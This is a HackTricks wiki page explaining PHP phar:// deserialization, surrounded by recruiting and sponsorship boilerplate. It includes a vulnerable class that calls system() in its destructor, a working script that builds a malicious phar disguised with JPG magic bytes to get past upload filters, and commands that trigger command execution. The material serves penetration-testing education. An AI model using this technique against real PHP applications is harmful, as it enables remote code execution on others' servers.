# phar:// deserialization

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{% hint style="danger" %}
<img src="../../.gitbook/assets/image (1) (1).png" alt="" data-size="original">

If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

{% embed url="https://www.stmcyber.com/careers" %}
{% endhint %}

**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.

The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**.

So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:

{% code title="vunl.php" %}
```php
<?php
class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}

You can create a **phar** file that when loaded will **abuse this class to execute arbitrary command**s with something like:

{% code title="create_phar.php" %}
```php
<?php

class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}
	
	function __destruct() {
		system($this->data);
	}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}

Note how the **magic bytes of JPG** (`\xff\xd8\xff`) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**.\
**Compile** the `test.phar` file with:

```bash
php --define phar.readonly=0 create_phar.php
```

And execute the `whoami` command abusing the vulnerable code with:

```bash
php vuln.php
```

### References

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

{% hint style="danger" %}
<img src="../../.gitbook/assets/image (1) (1).png" alt="" data-size="original">

If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

{% embed url="https://www.stmcyber.com/careers" %}
{% endhint %}

<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)

Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>